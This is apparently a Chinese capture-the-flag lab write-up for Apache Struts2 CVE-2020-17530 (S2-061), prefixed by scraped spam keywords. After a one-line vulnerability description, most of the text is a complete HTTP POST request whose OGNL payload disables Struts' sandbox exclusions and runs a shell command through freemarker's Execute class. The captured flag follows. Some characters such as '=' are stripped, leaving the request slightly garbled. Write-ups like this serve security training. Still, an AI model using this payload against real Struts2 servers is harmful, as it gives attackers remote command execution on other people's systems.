国内网站有哪些,wordpress 移除 新闻,上海专业做网站建设如何做,世界上让导航崩溃的城市春秋云镜 CVE-2020-17530 S2-061
靶标介绍
对CVE-2019-0230的绕过#xff0c;Struts2官方对CVE-2019-0230的修复方式是加强OGNL表达式沙盒#xff0c;而CVE-2020-17530绕过了该沙盒。当对标签属性中的原始用户输入进行评估时#xff0c;强制 OGNL 评估可能会导致远程代码执…春秋云镜 CVE-2020-17530 S2-061
靶标介绍
对CVE-2019-0230的绕过Struts2官方对CVE-2019-0230的修复方式是加强OGNL表达式沙盒而CVE-2020-17530绕过了该沙盒。当对标签属性中的原始用户输入进行评估时强制 OGNL 评估可能会导致远程代码执行。 POST name:)
启动场景 漏洞利用
EXP
POST /index.action HTTP/1.1
Host: eci-2ze8kolffjenzvo1nq33.cloudeci1.ichunqiu.com:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 838------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; namename%{(#instancemanager#application[org.apache.tomcat.InstanceManager]).(#stack#attr[com.opensymphony.xwork2.util.ValueStack.ValueStack]).(#bean#instancemanager.newInstance(org.apache.commons.collections.BeanMap)).(#bean.setBean(#stack)).(#context#bean.get(context)).(#bean.setBean(#context)).(#macc#bean.get(memberAccess)).(#bean.setBean(#macc)).(#emptyset#instancemanager.newInstance(java.util.HashSet)).(#bean.put(excludedClasses,#emptyset)).(#bean.put(excludedPackageNames,#emptyset)).(#arglist#instancemanager.newInstance(java.util.ArrayList)).(#arglist.add(cat /flag)).(#execute#instancemanager.newInstance(freemarker.template.utility.Execute)).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF----得到flag flag{2047b38d-8400-4fa0-a90f-afbc19c99a62}
